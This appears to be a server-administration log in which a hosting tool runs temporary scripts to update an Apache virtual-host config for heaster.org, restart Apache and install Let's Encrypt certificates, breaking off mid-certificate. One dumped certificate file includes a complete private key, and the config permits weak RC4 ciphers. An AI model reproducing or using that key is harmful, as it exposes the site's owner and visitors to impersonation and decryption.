	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-11 06:00:25: 

chmod 755 /tmp/pkp900987; /tmp/pkp900987; rm /tmp/pkp900987

2026-07-11 06:00:25: 


dir=/etc/ssl/certs


2026-07-11 06:00:25: 

PUT: /tmp/pkp254875

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/heaster_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-11 06:00:25: 

chmod 755 /tmp/pkp254875; /tmp/pkp254875; rm /tmp/pkp254875

2026-07-11 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf 39

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-11 06:00:25: 

PUT: /tmp/pkp640606

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=heaster_www_org.conf
TARGET=/etc/apache2/sites-enabled/heaster_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/heaster_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/heaster_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/heaster_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/heaster_www_org.conf= 1'
fi


2026-07-11 06:00:25: 

chmod 755 /tmp/pkp640606; /tmp/pkp640606; rm /tmp/pkp640606

2026-07-11 06:00:25: 




2026-07-11 06:00:25: 

PUT: /tmp/pkp206357

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-11 06:00:25: 

chmod 755 /tmp/pkp206357; /tmp/pkp206357; rm /tmp/pkp206357

2026-07-11 06:00:26: 


.


2026-07-11 06:00:26: Establishing a connection
2026-07-11 06:00:26: 

PUT: /tmp/pkp209115

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-11 06:00:27: 

chmod 755 /tmp/pkp209115; /tmp/pkp209115; rm /tmp/pkp209115

2026-07-11 06:00:27: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-07-11 06:00:27: 

PUT: /tmp/pkp242328

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/heaster_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-11 06:00:27: 

chmod 755 /tmp/pkp242328; /tmp/pkp242328; rm /tmp/pkp242328

2026-07-11 06:00:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf	1347

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-11 06:00:27: 

PUT: /tmp/pkp667652

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-11 06:00:27: 

chmod 755 /tmp/pkp667652; /tmp/pkp667652; rm /tmp/pkp667652

2026-07-11 06:00:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt	7428
bd:58:74:55:a9:ca:6a:4e:5b:b8:f8:5b:bb:1e:2e:fb

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBVtTu9AT5qGlD/S6uZ8u4negMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzExMDUwMTUzWhcNMjYxMDA5MDUwMTUyWjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMP5
nBFDQQhQrmy29MSocqsykkGGkBp2UPwluiCLRMq9aRTLhYHWQaAPB7jJxtQVUeT2
qFHFQ73h1qHLnLimhN39q8aXJFtIrp7AO1wCSpfkoYEynyWG54wiHK7Gxx5kwKXN
SVLkIu7kJ6tD0WYpWilXyr/AE6QMuta4kPug+w+23E1DlSnKZYNXfYJxOZDBCFxy
WRouBzTaVfrIXcwdMzbCcXRc4fyR1AWF0xFlLZsTUN80QHUMX2/rBq2XhDtw7jn9
YAxPT/06oaiyjDQSDWlHg7Irm8qYRw7A0whFzHJSIiBPlVU4WSWSWfL9lXFrcOmN
F7T2IEXyD/AWvNhhRzcCAwEAAaOCAiswggInMA4GA1UdDwEB/wQEAwIFoDATBgNV
HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSIPunvhIJv
5eGfOCcqSsPfTeFl7jAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIfgQyBDDAz
BggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5sZW5jci5v
cmcvMCcGA1UdEQQgMB6CC2hlYXN0ZXIub3Jngg93d3cuaGVhc3Rlci5vcmcwEwYD
VR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMi5j
LmxlbmNyLm9yZy8zMy5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwCvZ4g7
V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv54WHOgAAAZ9Pw0AVAAAEAwBIMEYCIQCD
jI1iS9ZjHcCNe7rCLRXvnlQWqXBeJbYhjRchBVV7VQIhAO50aQ2jPQxezuW2I7g+
zq57fFSb3Ahx5i4axFxJk4FnAH4ARq+GPTs+5Z+ld96oJF02sNntIqIj9GF3QSKU
Uu6VUF8AAAGfT8NAJAAIAAAFAAyLDPAEAwBHMEUCIBk5TLygD/4inQUChKetIOyI
R5EL/zf8F7JTmr8Ai0A3AiEAp5DUO3AjMKluk+oLpKXgYtJ6yYIu4ts2eiKkAehz
/ZgwDQYJKoZIhvcNAQELBQADggEBALz2YTQu0jvKJgqOu415qR1BvxkenTg5P/09
yRGdd7j12G4mNCYsEO2hSPBA483TonkQOibIrVW+ziQivD7zYe7sUGLIbA1QgDGu
rLQsw9KsSpkv6zLfGUxYknyUZTBJdsZM+Z1Ao8aL36WnZrwDD69lZghfTWhY9yig
HYlCEA1RrYlkY/1Ua27TUjbBttFy3PlYuMALYwOJ9oOAeChzP8hWA6tG8aEw7pKZ
iyYyjOtSOUvgzbv2wsJF4uFS1Gz7sw/2/0wdCd4PDBs8A3/wMDkYacgBM1amPU7Z
DfsmVvlnjKq7Ft6vWemBVHHzmQWn1ESuo4CqRnplDW3qz2Ky6fM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDD+ZwRQ0EIUK5s
tvTEqHKrMpJBhpAadlD8Jbogi0TKvWkUy4WB1kGgDwe4ycbUFVHk9qhRxUO94dah
y5y4poTd/avGlyRbSK6ewDtcAkqX5KGBMp8lhueMIhyuxsceZMClzUlS5CLu5Cer
Q9FmKVopV8q/wBOkDLrWuJD7oPsPttxNQ5UpymWDV32CcTmQwQhcclkaLgc02lX6
yF3MHTM2wnF0XOH8kdQFhdMRZS2bE1DfNEB1DF9v6watl4Q7cO45/WAMT0/9OqGo
sow0Eg1pR4OyK5vKmEcOwNMIRcxyUiIgT5VVOFklklny/ZVxa3DpjRe09iBF8g/w
FrzYYUc3AgMBAAECggEAWQrDp3BITw/hgJHMOsJSf4iVvWH3fZ5+g2Jc5EaC9h8D
bKhgO7Lu1Fuf5Y0AYwJg2EheB/E6Kz8+dvr9dURroDWO48duhG9Mr+Kl1dNQsxz1
aK9ocfOOpzQkliDI/f1HLs5MX3Y6jRJrF7zTmrh1N82k2GTcR7BlAASSE1J8YBGo
9Lk3+EqWNz5PT3cEm6rPOhrwebzg7RavKLBJXo98GVvP4F63mcSypnu9EXA/8QRe
wgqatek+AZnpi43Ydb4rthMFO+5kWiK10ti1J5XD5zq05vdzkIpHZ4MPwR9toIxL
BSStISmR8LkQYD8y7/gcpyrDN7n+3iN3mIwzYSZUoQKBgQDntA0DRzZ0cTXI7RvT
/vrVz8tSrNCbrmH1IN3DZEsQtYi3bfOEhn0tebcqjEHYPipmT9+zEpWOp6ZljKTt
yQPKKPfMHObWXevljcDIcGedM1vL9kEsYYBeY55n3h6aWZZw4ndWrZZbnCgoX4QF
RrIQeSDIEZZ3kMZ9sbLcXUObcQKBgQDYhnPWICWDrlbHrgNwSvsfe0JAeoHOcgVP
jOYFM6dvasL8+F3/8eVCTP4Tbw69YyGtWkPXZNH21cQ2EDJjPs/KUVtz+stH3ZOq
9SNEgWYhCegAqJymwnaKBfXUvusNMo0mjkZFFkGLsIpzHDNOD691cJdqEgtKCKNO
q1YLZ2epJwKBgQDXmzvgqQuLHy2lYr5abxKKk2nn7NfRhluw9nxlrZYMXmByD+Zi
k6M4BeLjvNAooPBjdD/9KnXw4SB9rnpqqnrUS3sKfHpxT8SLP3T9D1vbdEcfbG8J
FVGWg6yLiq1/g43yTUovZihb5tuXdgorvrVDjvNqOLODXzzVCd4eIMsggQKBgHaI
XD97R64nsYAMhftiQMlCK8mqhwciKkAbTQzJ8z4uPuJHgQYNQUkjZu/ymyoYa6Y/
xOXUXpD3Azvpb/wetZf3I86BG+mSpjUvj4gAIo2xo51AsMklqcjzbFlzzq9h3h2e
Q1+syGMVWSWc6YUxVwc+hNVfXWjBA82cRDVn/Tp/AoGAXY7MzB4ZmpYnNJ02JTzU
u4te+COhpkoU9+sj4lTEg+8q4F5MnLXFeJXBQ6ZMIRuXWHmuK3mTUMbTGuftUYDa
dEph8rrJgVguC4M0qHH+ap+n+2+TrUfWCkaBq117nF6Ga5JLjYm1kIQrX5jodCOw
hZs+N1sYujn8Rr7YYvQC2is=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-11 06:00:27: Establishing a connection
2026-07-11 06:00:27: Establishing a connection
2026-07-11 06:00:27: 

PUT: /tmp/pkp203994

#!/bin/bash
if [ -d "/var/www/exjw_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-11 06:00:28: 

chmod 755 /tmp/pkp203994; /tmp/pkp203994; rm /tmp/pkp203994

2026-07-11 06:00:28: 


1


2026-07-11 06:00:28: Establishing a connection
2026-07-11 06:00:28: 

PUT: /tmp/pkp557341

#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
cat > eA4B2f4WyvsQyuzaWoQZo4o0OKlNFPs3Mh8sGk4evSI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
eA4B2f4WyvsQyuzaWoQZo4o0OKlNFPs3Mh8sGk4evSI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 eA4B2f4WyvsQyuzaWoQZo4o0OKlNFPs3Mh8sGk4evSI
cat > acTO0E8ud8wZtwZhuI_ywLJyT781YCIuw9qmaU2NA3w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
acTO0E8ud8wZtwZhuI_ywLJyT781YCIuw9qmaU2NA3w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 acTO0E8ud8wZtwZhuI_ywLJyT781YCIuw9qmaU2NA3w


2026-07-11 06:00:29: 

chmod 755 /tmp/pkp557341; /tmp/pkp557341; rm /tmp/pkp557341

2026-07-11 06:00:29: 




2026-07-11 06:00:39: Establishing a connection
2026-07-11 06:00:39: 

PUT: /tmp/pkp174389

#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
rm eA4B2f4WyvsQyuzaWoQZo4o0OKlNFPs3Mh8sGk4evSI
rm acTO0E8ud8wZtwZhuI_ywLJyT781YCIuw9qmaU2NA3w


2026-07-11 06:00:39: 

chmod 755 /tmp/pkp174389; /tmp/pkp174389; rm /tmp/pkp174389

2026-07-11 06:00:39: 




2026-07-11 06:00:39: Establishing a connection
2026-07-11 06:00:39: 

PUT: /tmp/pkp492395

#!/bin/bash
temp_file=$(mktemp)
TARGET=7661c45fa1dc2bd7dace8763d6046428.crt

cat > $temp_file <<'endmsg'
fb:5d:36:5f:71:1c:8a:aa:38:b2:c5:98:1e:1f:36:8d

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBdGU/qVjloe127EvNu/l1trXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzExMDUwMjA4WhcNMjYxMDA5MDUwMjA3WjAWMRQwEgYDVQQD
